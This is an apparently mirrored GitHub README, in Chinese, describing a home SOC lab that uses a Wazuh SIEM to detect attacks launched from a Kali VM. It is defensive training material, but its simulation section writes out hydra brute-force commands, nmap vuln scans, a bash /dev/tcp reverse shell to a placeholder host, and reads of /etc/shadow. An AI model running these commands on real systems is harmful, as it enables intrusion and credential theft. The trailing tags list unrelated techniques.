Umair-farooq-58/home-soc-lab

GitHub: Umair-farooq-58/home-soc-lab

这是一个基于Wazuh和Kali Linux的家庭安全运营中心实验室,用于模拟攻击场景并实现自动化事件响应教育。

Stars: 0 | Forks: 0

# 家庭 SOC 实验室 — Wazuh SIEM + Kali Linux 这是一个完全功能的安全运营中心(SOC)实验室,使用免费和开源工具在笔记本电脑上构建。该实验室模拟真实世界的攻击,并使用带有自动化事件响应的 SIEM 进行检测。 ## 实验室功能 - 实时检测暴力破解攻击、端口扫描、反向 Shell 和文件篡改 - 自动将每起攻击映射到 **MITRE ATT&CK 框架** - 检测到暴力破解时,**通过 iptables 自动封禁攻击者 IP** - 使用 **auditd** 记录系统上执行的每条命令 - 在自定义 SOC 仪表板上可视化所有内容 ## 实验室架构 ``` ┌─────────────────────┐ ┌─────────────────────┐ │ Ubuntu VM │◄────────│ Kali Linux VM │ │ Wazuh SIEM Server │ │ Attacker Machine │ │ IP: 192.168.x.x │ │ PHANTOM agent │ └─────────────────────┘ └─────────────────────┘ ▲ │ Monitors & Alerts ▼ ┌─────────────────────┐ │ Wazuh Dashboard │ │ https://localhost │ └─────────────────────┘ ``` ## 要求 | 组件 | 规格 | |-----------|------| | 内存 | 12GB (3GB Ubuntu + 2GB Kali) | | 虚拟机监控程序 | VMware Workstation / VirtualBox | | Ubuntu | 22.04 Desktop | | Kali Linux | 最新版 | | 网络 | Host-Only + NAT (双网卡) | ## 设置指南 ### 阶段 1 — 网络配置 两台虚拟机都需要两个网络适配器: - **适配器 1:** Host-Only (用于内部实验室通信) - **适配器 2:** NAT (用于互联网访问) 在 VMware 中:`VM → Settings → Network Adapter` 验证 Ubuntu 是否获取了 IP,在 Ubuntu 终端中运行此命令: ``` ip a ``` 记下 `192.X.X.X` IP — 这将成为您的 Wazuh 服务器地址。 ### 阶段 2 — 在 Ubuntu 上安装 Wazuh 单个命令安装所有组件(管理器、仪表板、索引器): ``` curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash wazuh-install.sh -a ``` 耗时 10-15 分钟。完成后,请保存结尾打印出的管理员密码。安装结束时会自动打印: ``` Admin user: admin Admin password: XXXXXXXXXX Access: https://192.X.X.X ``` ## 可能的错误: **如果索引器启动失败** (权限问题): ``` sudo chown -R wazuh-indexer:wazuh-indexer /etc/wazuh-indexer/ sudo systemctl restart wazuh-indexer ``` **如果磁盘空间不足:** ``` sudo apt autoremove -y && sudo apt clean ``` ## 访问仪表板地址:`https://YOUR_UBUNTU_IP(192.X.X.X)` ### 阶段 3 — 将 Kali 作为代理连接 在 Wazuh 仪表板中,转到 `Agents → Deploy new agent`。 根据您的 Linux 发行版和系统架构选择包。 对于基于 Debian 的发行版,如 Kali Linux、Ubuntu 和 Parrot OS,请选择 DEB 包。 #### 复制生成的命令。 在 Kali 上运行复制的命令,完成后运行以下命令: ``` sudo systemctl daemon-reload sudo systemctl enable wazuh-agent sudo systemctl start wazuh-agent ``` 验证代理 IP 指向您的 Wazuh 服务器: ``` sudo grep "
" /var/ossec/etc/ossec.conf ``` 通常,它总是正确的。 如果错误,请编辑它,将地址更改为您的 Ubuntu IP。 在 Kali 终端运行此命令进行编辑: ``` sudo nano /var/ossec/etc/ossec.conf ``` 然后重启: ``` sudo systemctl restart wazuh-agent ``` Kali 现在应该在 Wazuh 仪表板中显示为 **活跃** 状态。 ### 阶段 4 — 安装 Auditd (深度日志记录) 在 Ubuntu 上安装 auditd 进行内核级命令日志记录: ``` sudo apt install auditd -y ``` 添加监控规则,运行此命令: ``` sudo nano /etc/audit/rules.d/audit.rules ``` 然后在底部添加以下行: ``` -a always,exit -F arch=b64 -S execve -k command_execution -w /etc/passwd -p wa -k passwd_changes -w /etc/shadow -p wa -k shadow_access -w /bin/bash -p x -k shell_execution -a always,exit -F arch=b64 -S connect -k network_connect ``` 重启 auditd: ``` sudo systemctl restart auditd sudo systemctl restart wazuh-agent ``` ### 您现在可以前往 Wazuh 仪表板并探索不同功能,使用 Kali Linux 运行一些攻击。 ### 阶段 5 — 配置主动响应 (暴力破解攻击时自动封禁 IP) 在 Ubuntu 上,编辑 Wazuh 配置: ``` sudo nano /var/ossec/etc/ossec.conf ``` 在结束的 `` 标签之前添加以下内容: ``` firewall-drop firewall-drop yes firewall-drop local 5763 180 ``` 验证配置: ``` sudo apt install libxml2-utils -y sudo xmllint --noout /var/ossec/etc/ossec.conf ``` 如果没有打印任何内容,则一切“正常”。 重启 Wazuh 管理器: ``` sudo systemctl restart wazuh-manager ``` 现在,当暴力破解在 **120 秒内触发 8 次失败的 SSH 尝试** 时,Wazuh 将通过 iptables 自动封禁攻击者的 IP 180 秒。 ## ⚔️ 攻击模拟 从浏览器下载 "rockyou.txt"。 ### 1. SSH 暴力破解 ``` hydra -l root -P /usr/share/wordlists/rockyou.txt -t 4 ssh://TARGET_IP ``` 将 `/usr/share/wordlists/rockyou.txt` 替换为您放置 rockyou.txt 文件的目录。 **检测规则:** 规则 5763 — 触发主动响应并自动封禁 IP。 ### 2. Nmap 端口扫描 ``` sudo nmap -A -sS -sV -p- TARGET_IP sudo nmap --script vuln TARGET_IP ``` **检测规则:** 端口扫描检测规则。 ### 3. 反向 Shell 在 Kali(监听端): ``` nc -lvnp 4444 ``` 在 Ubuntu(受害端): ``` bash -i >& /dev/tcp/KALI_IP/4444 0>&1 ``` Ubuntu 的终端会消失,连接将转移到 Kali。然后您可以在 Kali 上控制 Ubuntu 的终端。 **检测规则:** Auditd 网络连接规则。 ### 4. 后渗透命令 (通过反向 Shell) ``` cat /etc/passwd cat /etc/shadow ps aux netstat -an ``` **检测规则:** Auditd 文件访问监控。 ### 5. 文件完整性篡改 ``` sudo touch /etc/hacked.txt sudo touch /bin/backdoor sudo chmod +x /bin/backdoor ``` **检测规则:** Wazuh FIM (文件完整性监控)。 ### 6. FTP 暴力破解 ``` hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://TARGET_IP ``` ## 验证主动响应是否正常工作 暴力破解后,检查攻击者 IP 是否被封禁,在 Ubuntu 上运行此命令: ``` sudo iptables -L -n | grep DROP ``` 您应该能在 DROP 规则中看到攻击者的 IP。 ## 自定义仪表板设置 ### 导入预构建的 Wazuh 仪表板: 在 Ubuntu 上运行此命令下载: ``` wget https://packages.wazuh.com/integrations/opensearch/4.x-2.x/dashboards/wz-os-4.x-2.x-dashboards.ndjson ``` 转到:`https://YOUR_IP/app/management/opensearch-dashboards/savedObjects` 点击 **导入** → 选择下载的文件。 **推荐的 SOC 仪表板面板:** - 总警报数 - 警报级别演变 - 主要 MITRE ATT&CK 攻击 - 认证失败 - 认证成功 - 安全警报概览 - 高严重性警报 ## MITRE ATT&CK 覆盖范围 | 技术 | ID | 描述 | |-----------|-----|-------------| | 暴力破解 | T1110 | 通过 Hydra 进行 SSH 密码喷洒 | | 暴力破解:密码猜测 | T1110.001 | 凭证访问尝试 | | 远程服务:SSH | T1021.004 | 通过 SSH 进行横向移动 | | 命令与脚本 | T1059 | 反向 Shell 执行 | | 操作系统凭证转储 | T1003 | /etc/shadow 访问尝试 | | 网络服务扫描 | T1046 | Nmap 端口扫描 | ## 🛠️ 故障排除 | 问题 | 修复方法 | |-------|-----| | Wazuh 索引器无法启动 | `sudo chown -R wazuh-indexer:wazuh-indexer /etc/wazuh-indexer/` | | 仪表板显示 "未就绪" | 等待 5 分钟,重启仪表板服务 | | 代理未连接 | 检查 `/var/ossec/etc/ossec.conf` 中的 `
` | | Hydra 连接被拒绝 | Wazuh 封禁了 IP — 运行 `sudo iptables -F` 解除封禁 | | 磁盘空间不足 | `sudo apt autoremove -y && sudo apt clean` | | XML 配置错误 | `sudo xmllint --noout /var/ossec/etc/ossec.conf` | ## 结果 ![SOC 仪表板](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/e9e3b662a9151748.png) - 生成 **16,755+** 条总警报 - 检测到 **11,206** 次认证失败 - 确认通过 iptables 实现 **自动 IP 封禁** - 映射了 **11 种 MITRE ATT&CK 技术** - SOC 仪表板全面运作 ## 🔗 资源 - [Wazuh 官方文档](https://documentation.wazuh.com) - [MITRE ATT&CK 框架](https://attack.mitre.org) - [Wazuh 主动响应](https://documentation.wazuh.com/current/user-manual/capabilities/active-response/) ## 免责声明 本实验室**仅用于教育目的**。所有攻击均在我拥有系统的隔离虚拟环境中执行。切勿在未经明确许可的情况下在系统上使用这些技术。 *由 🔥 和大量损坏的配置构建*
标签:AMSI绕过, auditd审计, CTI, ETW劫持, iptables防火墙, MITRE ATT&CK框架, SIEM系统, SOC实验室, Wazuh, 事件响应自动化, 免杀技术, 入侵防御, 反向shell检测, 可视化仪表板, 威胁检测, 安全运营中心, 开源安全工具, 插件系统, 攻击模拟, 文件篡改检测, 日志记录, 暴力破解检测, 端口扫描检测, 网络安全, 网络映射, 自动事件响应, 虚拟机实验室, 逆向工程平台, 隐私保护, 驱动签名利用